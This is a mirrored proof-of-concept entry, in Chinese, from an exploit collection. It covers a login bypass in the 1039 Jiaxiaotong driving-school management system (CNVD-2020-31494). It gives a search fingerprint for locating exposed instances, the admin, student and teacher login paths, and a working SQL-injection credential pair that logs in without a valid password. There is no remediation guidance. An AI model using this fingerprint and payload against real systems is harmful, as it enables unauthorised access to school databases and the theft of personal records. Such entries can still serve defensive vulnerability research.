mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
46 lines
808 B
Markdown
46 lines
808 B
Markdown
|
# 1039家校通 万能密码绕过 CNVD-2020-31494
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
北京1039科技发展有限公司是一家专注驾校管理系统、驾校移动办公系统、驾校管理软件、驾校招生小程序开发等,为驾校提供无死角的驾校管理系统解决方案。
|
|||
|
|
|
|||
|
|
北京1039科技发展有限公司驾校管理系统存在万能密码绕过漏洞，攻击者可利用该漏洞获取数据库信息。
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
1039家校通 v1.0 - v6.0
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
title="学员登录_1039家校通"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
管理员登录接口为
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
/admin/Product/Comstye.aspx
|
|||
|
|
/Student/StudentLogin.aspx
|
|||
|
|
/Teacher/Index.aspx
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
账号密码为如下即可登录
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
user:peiqi
|
|||
|
|
pass:' or ''='
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|